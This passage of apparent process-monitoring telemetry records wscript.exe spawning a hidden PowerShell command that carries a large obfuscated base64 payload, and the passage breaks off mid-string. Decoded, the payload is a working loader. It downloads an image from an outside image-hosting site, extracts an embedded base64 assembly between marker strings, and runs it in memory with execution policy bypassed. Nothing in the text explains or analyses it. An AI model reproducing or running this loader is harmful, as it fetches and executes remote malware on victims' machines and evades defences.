NRKOgBVtPomkONRKFQtPomkONRKRgtPomkONRK4tPomkONRKC4tPomkONRKRwBltPomkONRKHQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKYQBytPomkONRKHQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBTtPomkONRKFQtPomkONRKQQBStPomkONRKFQtPomkONRKPgtPomkONRK+tPomkONRKGgtPomkONRKaQBFtPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBFtPomkONRKE4tPomkONRKRtPomkONRKtPomkONRK+tPomkONRKD4tPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBUtPomkONRKGUtPomkONRKetPomkONRKB0tPomkONRKC4tPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKE8tPomkONRKZgtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBGtPomkONRKGwtPomkONRKYQBntPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFQtPomkONRKZQB4tPomkONRKHQtPomkONRKLgBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKTwBmtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKptPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKZwBltPomkONRKCtPomkONRKtPomkONRKMtPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYQButPomkONRKGQtPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRKttPomkONRKGctPomkONRKdtPomkONRKtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCtPomkONRKtPomkONRKKwtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEYtPomkONRKbtPomkONRKBhtPomkONRKGctPomkONRKLgBMtPomkONRKGUtPomkONRKbgBntPomkONRKHQtPomkONRKatPomkONRKtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGItPomkONRKYQBztPomkONRKGUtPomkONRKNgtPomkONRK0tPomkONRKEwtPomkONRKZQButPomkONRKGctPomkONRKdtPomkONRKBotPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGUtPomkONRKbgBktPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKQwBvtPomkONRKG0tPomkONRKbQBhtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG4tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFMtPomkONRKdQBitPomkONRKHMtPomkONRKdtPomkONRKBytPomkONRKGktPomkONRKbgBntPomkONRKCgtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKTtPomkONRKBltPomkONRKG4tPomkONRKZwB0tPomkONRKGgtPomkONRKKQtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgtPomkONRKntPomkONRKCstPomkONRKJwB5tPomkONRKHQtPomkONRKZQBztPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKFstPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBDtPomkONRKG8tPomkONRKbgtPomkONRKntPomkONRKCstPomkONRKJwB2tPomkONRKGUtPomkONRKcgB0tPomkONRKF0tPomkONRKOgtPomkONRK6tPomkONRKEYtPomkONRKcgBvtPomkONRKG0tPomkONRKQgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBitPomkONRKGEtPomkONRKcwBltPomkONRKDYtPomkONRKNtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKG8tPomkONRKbQBttPomkONRKGEtPomkONRKbgBktPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBstPomkONRKG8tPomkONRKYQBktPomkONRKGUtPomkONRKZtPomkONRKBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKWwBTtPomkONRKHktPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKcwB0tPomkONRKGUtPomkONRKbQtPomkONRKutPomkONRKFItPomkONRKZQBmtPomkONRKGwtPomkONRKZQBjtPomkONRKHQtPomkONRKaQBvtPomkONRKG4tPomkONRKLgBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKXQtPomkONRK6tPomkONRKDotPomkONRKTtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZQBktPomkONRKEEtPomkONRKcwBztPomkONRKGUtPomkONRKbQBitPomkONRKGwtPomkONRKeQtPomkONRKutPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKEctPomkONRKZQB0tPomkONRKFQtPomkONRKeQBwtPomkONRKGUtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBGtPomkONRKGktPomkONRKYgBltPomkONRKHItPomkONRKLgBItPomkONRKG8tPomkONRKbQBltPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBttPomkONRKGUtPomkONRKdtPomkONRKBotPomkONRKG8tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKC4tPomkONRKRwBltPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHQtPomkONRKTQBltPomkONRKHQtPomkONRKatPomkONRKBvtPomkONRKGQtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBWtPomkONRKEEtPomkONRKSQBotPomkONRKGktPomkONRKRQtPomkONRKptPomkONRKC4tPomkONRKSQButPomkONRKHYtPomkONRKbwBrtPomkONRKGUtPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKButPomkONRKHUtPomkONRKbtPomkONRKBstPomkONRKCwtPomkONRKItPomkONRKBbtPomkONRKG8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKFstPomkONRKXQBdtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBktPomkONRKEgtPomkONRKatPomkONRKtPomkONRKwtPomkONRKEwtPomkONRKawBGtPomkONRKE4tPomkONRKUwtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKDgtPomkONRKdwBNtPomkONRKEQtPomkONRKVQB2tPomkONRKE4tPomkONRKagBrtPomkONRKHgtPomkONRKTtPomkONRKBqtPomkONRKFUtPomkONRKeQBNtPomkONRKGktPomkONRKNtPomkONRKtPomkONRKztPomkONRKE0tPomkONRKagBFtPomkONRKHUtPomkONRKTwBEtPomkONRKGctPomkONRKetPomkONRKBMtPomkONRKHktPomkONRKOtPomkONRKtPomkONRK2tPomkONRKGMtPomkONRKStPomkONRKBStPomkONRKDtPomkONRKtPomkONRKYQBBtPomkONRKD0tPomkONRKPQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKytPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGgtPomkONRKaQBFtPomkONRKHItPomkONRKZQBntPomkONRKGEtPomkONRKcwBttPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKGgtPomkONRKaQBFtPomkONRKDUtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKItPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKQwtPomkONRK6tPomkONRKFMtPomkONRKYgBDtPomkONRKFtPomkONRKtPomkONRKcgBvtPomkONRKGctPomkONRKcgBhtPomkONRKG0tPomkONRKRtPomkONRKBhtPomkONRKHQtPomkONRKYQBTtPomkONRKGItPomkONRKQwtPomkONRKntPomkONRKCstPomkONRKJwBotPomkONRKGktPomkONRKRQtPomkONRKstPomkONRKCtPomkONRKtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKatPomkONRKB0tPomkONRKG0tPomkONRKbtPomkONRKBitPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKKQtPomkONRKntPomkONRKCktPomkONRKItPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYwBStPomkONRKEUtPomkONRKctPomkONRKBMtPomkONRKEEtPomkONRKQwBltPomkONRKCtPomkONRKtPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCwtPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKMwtPomkONRK2tPomkONRKCtPomkONRKtPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKKtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKxtPomkONRKDtPomkONRKtPomkONRKNtPomkONRKtPomkONRKrtPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDEtPomkONRKMtPomkONRKtPomkONRK1tPomkONRKCstPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKNgtPomkONRK5tPomkONRKCktPomkONRKLtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKztPomkONRKDktPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKItPomkONRKtPomkONRKgtPomkONRKCctPomkONRKUwBitPomkONRKEMtPomkONRKJwtPomkONRKstPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDktPomkONRKMgtPomkONRKptPomkONRKCktPomkONRK';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('tPomkONRK','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'SQButPomkONRKFYtPomkONRKTwBLtPomkONRKGUtPomkONRKLQBltPomkONRKFgtPomkONRKUtPomkONRKBytPomkONRKGUtPomkONRKUwBTtPomkONRKGktPomkONRKbwBOtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKtPomkONRKgtPomkONRKCgtPomkONRKKtPomkONRKtPomkONRKntPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQtPomkONRKntPomkONRKCstPomkONRKJwBVtPomkONRKHItPomkONRKbtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKHQtPomkONRKdtPomkONRKBwtPomkONRKHMtPomkONRKOgtPomkONRKvtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKC8tPomkONRKdQBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZtPomkONRKBltPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQButPomkONRKHMtPomkONRKLgBjtPomkONRKG8tPomkONRKbQtPomkONRKutPomkONRKGItPomkONRKcgtPomkONRKvtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBztPomkONRKC8tPomkONRKMtPomkONRKtPomkONRKwtPomkONRKDQtPomkONRKLwtPomkONRK2tPomkONRKDUtPomkONRKNtPomkONRKtPomkONRKvtPomkONRKDUtPomkONRKMwtPomkONRK2tPomkONRKC8tPomkONRKbwBytPomkONRKGktPomkONRKZwBptPomkONRKG4tPomkONRKYQBstPomkONRKC8tPomkONRKbgBltPomkONRKHctPomkONRKXwBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKLgtPomkONRKntPomkONRKCstPomkONRKJwBqtPomkONRKHtPomkONRKtPomkONRKZwtPomkONRK/tPomkONRKDEtPomkONRKNgtPomkONRK5tPomkONRKDgtPomkONRKOQtPomkONRK1tPomkONRKDctPomkONRKNwtPomkONRK1tPomkONRKDtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBOtPomkONRKGUtPomkONRKdwtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRKttPomkONRKE8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKCtPomkONRKtPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBOtPomkONRKGUtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFctPomkONRKZQBitPomkONRKEMtPomkONRKbtPomkONRKBptPomkONRKGUtPomkONRKbgB0tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKDstPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKEItPomkONRKeQB0tPomkONRKGUtPomkONRKcwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKutPomkONRKEQtPomkONRKbwB3tPomkONRKG4tPomkONRKbtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKBEtPomkONRKGEtPomkONRKdtPomkONRKBhtPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFUtPomkONRKcgBstPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBbtPomkONRKFMtPomkONRKeQBztPomkONRKHQtPomkONRKZQBttPomkONRKC4tPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKEUtPomkONRKbgBjtPomkONRKG8tPomkONRKZtPomkONRKBptPomkONRKG4tPomkONRKZwBdtPomkONRKDotPomkONRKOgBVtPomkONRKFQtPomkONRKRgtPomkONRK4tPomkONRKC4tPomkONRKRwBltPomkONRKHQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKYQBytPomkONRKHQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBTtPomkONRKFQtPomkONRKQQBStPomkONRKFQtPomkONRKPgtPomkONRK+tPomkONRKGgtPomkONRKaQBFtPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBFtPomkONRKE4tPomkONRKRtPomkONRKtPomkONRK+tPomkONRKD4tPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBUtPomkONRKGUtPomkONRKetPomkONRKB0tPomkONRKC4tPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKE8tPomkONRKZgtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBGtPomkONRKGwtPomkONRKYQBntPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFQtPomkONRKZQB4tPomkONRKHQtPomkONRKLgBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKTwBmtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKptPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKZwBltPomkONRKCtPomkONRKtPomkONRKMtPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYQButPomkONRKGQtPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRKttPomkONRKGctPomkONRKdtPomkONRKtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCtPomkONRKtPomkONRKKwtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEYtPomkONRKbtPomkONRKBhtPomkONRKGctPomkONRKLgBMtPomkONRKGUtPomkONRKbgBntPomkONRKHQtPomkONRKatPomkONRKtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGItPomkONRKYQBztPomkONRKGUtPomkONRKNgtPomkONRK0tPomkONRKEwtPomkONRKZQButPomkONRKGctPomkONRKdtPomkONRKBotPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGUtPomkONRKbgBktPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKQwBvtPomkONRKG0tPomkONRKbQBhtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG4tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFMtPomkONRKdQBitPomkONRKHMtPomkONRKdtPomkONRKBytPomkONRKGktPomkONRKbgBntPomkONRKCgtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKTtPomkONRKBltPomkONRKG4tPomkONRKZwB0tPomkONRKGgtPomkONRKKQtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgtPomkONRKntPomkONRKCstPomkONRKJwB5tPomkONRKHQtPomkONRKZQBztPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKFstPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBDtPomkONRKG8tPomkONRKbgtPomkONRKntPomkONRKCstPomkONRKJwB2tPomkONRKGUtPomkONRKcgB0tPomkONRKF0tPomkONRKOgtPomkONRK6tPomkONRKEYtPomkONRKcgBvtPomkONRKG0tPomkONRKQgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBitPomkONRKGEtPomkONRKcwBltPomkONRKDYtPomkONRKNtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKG8tPomkONRKbQBttPomkONRKGEtPomkONRKbgBktPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBstPomkONRKG8tPomkONRKYQBktPomkONRKGUtPomkONRKZtPomkONRKBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKWwBTtPomkONRKHktPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKcwB0tPomkONRKGUtPomkONRKbQtPomkONRKutPomkONRKFItPomkONRKZQBmtPomkONRKGwtPomkONRKZQBjtPomkONRKHQtPomkONRKaQBvtPomkONRKG4tPomkONRKLgBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKXQtPomkONRK6tPomkONRKDotPomkONRKTtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZQBktPomkONRKEEtPomkONRKcwBztPomkONRKGUtPomkONRKbQBitPomkONRKGwtPomkONRKeQtPomkONRKutPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKEctPomkONRKZQB0tPomkONRKF